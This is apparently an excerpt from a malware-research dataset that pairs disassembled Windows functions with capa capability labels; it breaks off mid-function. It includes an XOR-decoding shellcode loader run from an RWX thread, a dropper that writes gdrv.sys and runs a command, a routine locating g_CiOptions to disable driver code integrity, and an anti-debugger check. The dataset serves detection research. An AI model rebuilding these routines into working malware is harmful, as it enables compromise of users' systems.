joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402e9470
Capabilities:
Check for debugger via api

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0xa0]
mov rbx, rdx
mov qword [rbp + 0x18], rbx
cmp byte [rbx], 0
setne dl
movzx edx, dl
mov dword [rbp - 0x40], edx
lea rdx, [rbp - 0x40]
mov qword [rbp - 0x70], rdx
mov qword [rbp - 0x78], rcx
lea rcx, [rbp - 0x68]
call fcn.14000b2b0
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x78]
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
mov ebx, eax
lea rcx, [rbp - 0x68]
call fcn.14000b300
test ebx, ebx
setne al
movzx eax, al
movzx ecx, byte [rbp - 0x40]
mov rbx, qword [rbp + 0x18]
mov byte [rbx], cl
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1402ea2c0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x40
lea rbp, [rsp + 0x20]
xor eax, eax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov rax, qword [0x140bc7180]
mov qword [rbp + 8], rax
test dword [rsp], esp
sub rsp, 0x40
lea rax, [rsp + 0x20]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
mov r8, rax
lea rax, str.a1cbd738fe29406517bea3dc89f24675LTSC
movups xmm0, xmmword [rax]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [r8 + 0x30], xmm0
mov r10d, dword [rcx + 8]
mov r9d, r10d
mov eax, r9d
mov r11d, 2
mul r11
jb 0x1402ea3c2
test rax, rax
je 0x1402ea367
add rax, 0xf
shr rax, 4
add rsp, 0x20
push 0
push 0
dec rax
jne 0x1402ea355
sub rsp, 0x20
lea rax, [rsp + 0x20]
xor edx, edx
test r10d, r10d
jle 0x1402ea393
mov r11d, edx
lea rbx, [rax + r11*2]
movzx r11d, word [rcx + r11*2 + 0xc]
mov esi, edx
and esi, 0x1f
movzx esi, word [r8 + rsi*2]
xor r11d, esi
mov word [rbx], r11w
inc edx
cmp r10d, edx
jg 0x1402ea36e
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x18], r9d
lea rcx, [rbp + 0x10]
call fcn.14018ff10
lea rcx, [0x140bc7180]
mov rcx, qword [rcx]
cmp qword [rbp + 8], rcx
je 0x1402ea3b9
call fcn.140009120
nop
lea rsp, [rbp + 0x20]
pop rbx
pop rsi
pop rbp
ret
call fcn.1401b8b30
int3
Function at 0x1403b52e0
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x28
xor eax, eax
mov r8d, dword [rdx + 8]
test r8d, r8d
jle 0x1403b531c
lea r10, [rdx + rax*8 + 0x10]
mov r10, qword [r10]
test r10, r10
jne 0x1403b5301
xor r9d, r9d
jmp 0x1403b5305
mov r9d, dword [r10 + 0x14]
mov r10d, ecx
rol r10d, 0xd
add r10d, ecx
mov ecx, r10d
xor ecx, r9d
inc eax
cmp r8d, eax
jg 0x1403b52ef
mov eax, ecx
rol eax, 0xf
add eax, ecx
add rsp, 0x28
ret
Function at 0x1403d1fa0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
cmp r8d, 8
jge 0x1403d202a
xor r10d, r10d
cmp r8d, 4
jl 0x1403d1ffe
add r8d, 0xfffffffc
movsx rax, word [rcx + r10*2]
movsx r9, dx
cmp eax, r9d
je 0x1403d2203
movsx rax, word [rcx + r10*2 + 2]
cmp eax, r9d
je 0x1403d21f1
movsx rax, word [rcx + r10*2 + 4]
cmp eax, r9d
je 0x1403d21f7
movsx rax, word [rcx + r10*2 + 6]
cmp eax, r9d
je 0x1403d21fd
add r10, 4
test r8d, r8d
jle 0x1403d2020
movsx r9, dx
dec r8d
movsx rax, word [rcx + r10*2]
cmp eax, r9d
je 0x1403d2203
inc r10
test r8d, r8d
jg 0x1403d2007
mov eax, 0xffffffff
add rsp, 0x38
ret
movsx r9, dx
movd xmm0, r9d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov r10, rcx
lea eax, [r8 - 8]
cdqe
add rax, rax
lea rdx, [r10 + rax]
movups xmm1, xmmword [r10]
pcmpeqw xmm1, xmm0
movaps xmmword [rsp + 0x20], xmm1
xorps xmm2, xmm2
pcmpeqw xmm1, xmm2
pmovmskb r9d, xmm1
cmp r9d, 0xffff
jne 0x1403d214a
add r10, 0x10
cmp r10, rdx
jbe 0x1403d204c
mov ecx, r8d
test cl, 7
je 0x1403d2020
movups xmm1, xmmword [rdx]
pcmpeqw xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
pcmpeqw xmm0, xmm1
pmovmskb r10d, xmm0
cmp r10d, 0xffff
je 0x1403d2020
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 8], rcx
movzx ecx, word [rsp + 8]
shr ecx, 0xf
movzx edx, word [rsp + 0xa]
shr edx, 0xf
add edx, edx
or ecx, edx
movzx edx, word [rsp + 0xc]
shr edx, 0xf
shl edx, 2
or edx, ecx
mov ecx, edx
movzx edx, word [rsp + 0xe]
shr edx, 0xf
shl edx, 3
or edx, ecx
mov ecx, edx
mov rdx, qword [rsp + 0x28]
mov qword [rsp], rdx
movzx edx, word [rsp]
shr edx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
shl edx, 4
or ecx, edx
bsf edx, ecx
mov r8d, 0x20
test ecx, ecx
cmove edx, r8d
shr rax, 1
add eax, edx
jmp 0x1403d2206
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x18], rax
movzx eax, word [rsp + 0x18]
shr eax, 0xf
movzx edx, word [rsp + 0x1a]
shr edx, 0xf
add edx, edx
or eax, edx
movzx edx, word [rsp + 0x1c]
shr edx, 0xf
shl edx, 2
or edx, eax
mov eax, edx
movzx edx, word [rsp + 0x1e]
shr edx, 0xf
shl edx, 3
or edx, eax
mov eax, edx
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x10], rdx
movzx edx, word [rsp + 0x10]
shr edx, 0xf
movzx r8d, word [rsp + 0x12]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x14]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x16]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
shl edx, 4
or eax, edx
bsf edx, eax
mov r8d, 0x20
test eax, eax
cmove edx, r8d
mov rax, r10
sub rax, rcx
shr rax, 1
add eax, edx
jmp 0x1403d2206
lea eax, [r10 + 1]
jmp 0x1403d2206
lea eax, [r10 + 2]
jmp 0x1403d2206
lea eax, [r10 + 3]
jmp 0x1403d2206
mov eax, r10d
add rsp, 0x38
ret
Function at 0x1403df700
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
cmp r9d, 8
jge 0x1403df745
movzx r10d, dx
sub r8d, r10d
movzx r8d, r8w
xor eax, eax
test r9d, r9d
jle 0x1403df96a
movsxd rdx, eax
movzx edx, word [rcx + rdx*2]
sub edx, r10d
movzx edx, dx
cmp edx, r8d
jg 0x1403df95f
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
movzx r10d, dx
movd xmm0, r10d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov eax, r8d
sub eax, r10d
movzx eax, ax
movd xmm1, eax
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
mov rax, rcx
add r9d, 0xfffffff8
mov r10d, r9d
add r10, r10
lea rdx, [rax + r10]
movups xmm2, xmmword [0x140a73910]
movaps xmm3, xmm1
psubw xmm3, xmm2
movups xmm4, xmmword [rax]
psubw xmm4, xmm0
movaps xmm5, xmm4
psubw xmm5, xmm2
movaps xmm6, xmm3
pcmpgtw xmm6, xmm5
pcmpeqw xmm4, xmm1
por xmm4, xmm6
movaps xmmword [rsp + 0x20], xmm4
xorps xmm5, xmm5
pcmpeqw xmm4, xmm5
pmovmskb r8d, xmm4
cmp r8d, 0xffff
je 0x1403df883
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx r10d, word [rsp + 0x18]
shr r10d, 0xf
movzx edx, word [rsp + 0x1a]
shr edx, 0xf
add edx, edx
or r10d, edx
movzx edx, word [rsp + 0x1c]
shr edx, 0xf
shl edx, 2
or edx, r10d
mov r10d, edx
movzx edx, word [rsp + 0x1e]
shr edx, 0xf
shl edx, 3
or edx, r10d
mov r10d, edx
mov edx, r10d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
bsf r8d, edx
mov r10d, 0x20
test edx, edx
cmove r8d, r10d
sub rax, rcx
shr rax, 1
add eax, r8d
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
add rax, 0x10
cmp rax, rdx
jb 0x1403df78c
movups xmm4, xmmword [rdx]
psubw xmm4, xmm0
movaps xmm0, xmm4
psubw xmm0, xmm2
pcmpgtw xmm3, xmm0
pcmpeqw xmm1, xmm4
por xmm1, xmm3
movaps xmmword [rsp + 0x20], xmm1
xorps xmm0, xmm0
pcmpeqw xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x1403df96a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx edx, word [rsp + 2]
shr edx, 0xf
add edx, edx
or ecx, edx
movzx edx, word [rsp + 4]
shr edx, 0xf
shl edx, 2
or edx, ecx
mov ecx, edx
movzx edx, word [rsp + 6]
shr edx, 0xf
shl edx, 3
or edx, ecx
mov ecx, edx
shl ecx, 4
or eax, ecx
bsf ecx, eax
mov edx, 0x20
test eax, eax
cmove ecx, edx
mov eax, ecx
shr r10, 1
add eax, r10d
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
inc eax
cmp eax, r9d
jl 0x1403df725
mov eax, 0xffffffff
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x1403fcea0
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rbx, r8
mov esi, edx
xor edi, edi
mov ebp, dword [rbx + 8]
test ebp, ebp
jle 0x1403fced2
mov rcx, qword [rbx + rdi*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov ecx, esi
rol ecx, 0xd
add ecx, esi
mov esi, eax
xor esi, ecx
inc edi
cmp ebp, edi
jg 0x1403fceb6
mov eax, esi
rol eax, 0xf
add eax, esi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
Function at 0x180001580
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x1800015d1
xor eax, eax
jmp 0x18000162a
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1800015f8
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18000162a
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x180001630
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x18000167c
xor eax, eax
jmp 0x1800016b2
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1800016a3
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1800016b2
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x180001800
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x178
call section..text
mov eax, 8
imul rax, rax, 1
lea rcx, [0x1800030c0]
mov rax, qword [rcx + rax]
lea rcx, str.__service
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x18000183d
inc rax
test dl, dl
jne 0x18000182a
xor eax, eax
jmp 0x180001842
sbb eax, eax
or eax, 1
test eax, eax
je 0x18000184b
jmp 0x180001981
mov r8d, 0x105
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.180001520
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x60]
call fcn.180001410
mov ecx, 1
imul rcx, rcx, 1
mov byte [rax + rcx], 0
lea rdx, str.update.dat
lea rcx, [rsp + 0x60]
call fcn.180001490
lea rcx, [rsp + 0x60]
call fcn.180001630
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov ecx, eax
call fcn.180001370
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.180001580
mov dword [rsp + 0x30], 0
jmp 0x1800018de
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x30], eax
jae 0x180001908
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
movsx eax, byte [rcx + rax]
xor eax, 0x32
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + rcx], al
jmp 0x1800018d4
mov eax, dword [rsp + 0x34]
lea r9, [rsp + 0x44]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x180003028]
mov qword [rsp + 0x50], rax
lea rax, [0x180001710]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x180001981
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x178
ret
Function at 0x140040980
Capabilities:
Delete file
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1404d1c80]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140040a0f
cmp rdi, 0xffffffffffffffff
je 0x140040a21
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x6650
lea rdx, [0x1404d1d00]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140040a21
call fcn.140041610
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1402e6354]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140250c20
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x140040b20
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x1404d1c80]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140040ccf
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x140040ca1
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140040c99
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140040c00
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140040c8f
inc ebx
cmp ebx, dword [rdi]
jb 0x140040be2
jmp 0x140040c99
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.140250c20
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x140040cf0
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.140041bb0
mov rcx, rsi
mov rdi, rax
call fcn.140041bb0
mov r9, rax
test rax, rax
je 0x140040e1d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x140040db2
lea r11, [0x1402e6390]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140040d72
test dl, dl
jne 0x140040dae
inc ecx
inc rax
cmp ecx, 0x10
jb 0x140040d65
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140040d60
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140040da0
jmp 0x140040e0c
xor cl, cl
jmp 0x140040d7e
lea r11, [0x1402e6380]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140040dd2
test dl, dl
jne 0x140040e24
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140040dc5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140040dc0
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140040e00
test r10d, r10d
jne 0x140040e28
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140040ac0
xor eax, eax
jmp 0x140040f0b
xor cl, cl
jmp 0x140040dde
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140040ac0
lea r11, [0x1402e6370]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x140040e82
test dl, dl
jne 0x140040ed1
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140040e75
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x140040e70
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x140040eb0
test eax, eax
jne 0x140040ed5
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140040ac0
xor eax, eax
jmp 0x140040f0b
xor cl, cl
jmp 0x140040e8e
lea rax, [rdx + r10]
movsxd r8, dword [rax + rdi]
lea rcx, [r10 + 4]
lea rbx, [rdx + r8]
mov edx, r10d
add rbx, rcx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdi
mov r9, rbx
call fcn.140040ac0
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140040f30
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x1404d1c80]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1402e64e8]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1402e64e0]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x1402e64ec]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1402e64f4]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1402e64f6]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.140040a60
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140041980
mov ebx, eax
test eax, eax
jns 0x140041029
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140040ac0
jmp 0x140041160
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x140041092
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140040b20
mov ebx, eax
test eax, eax
jns 0x140041067
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140040ac0
jmp 0x14004114e
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.140040cf0
test eax, eax
je 0x140041149
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x14004114e
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140040b20
mov ebx, eax
test eax, eax
js 0x14004114e
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x14004113d
mov rbx, qword [rsp + 0x40]
lea rsi, [0x1402e63a4]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x1400410ed
test cl, cl
jne 0x140041139
inc edx
inc rax
cmp edx, 4
jb 0x1400410e0
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x1400410d0
test rax, rax
je 0x14004113d
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140040ac0
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x14004114e
xor cl, cl
jmp 0x1400410f9
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140040ac0
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140250c20
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140041230
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x1404d1c80]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rdx
mov rbx, rcx
call fcn.140041190
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140041317
lea r8, [0x1402e6568]
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
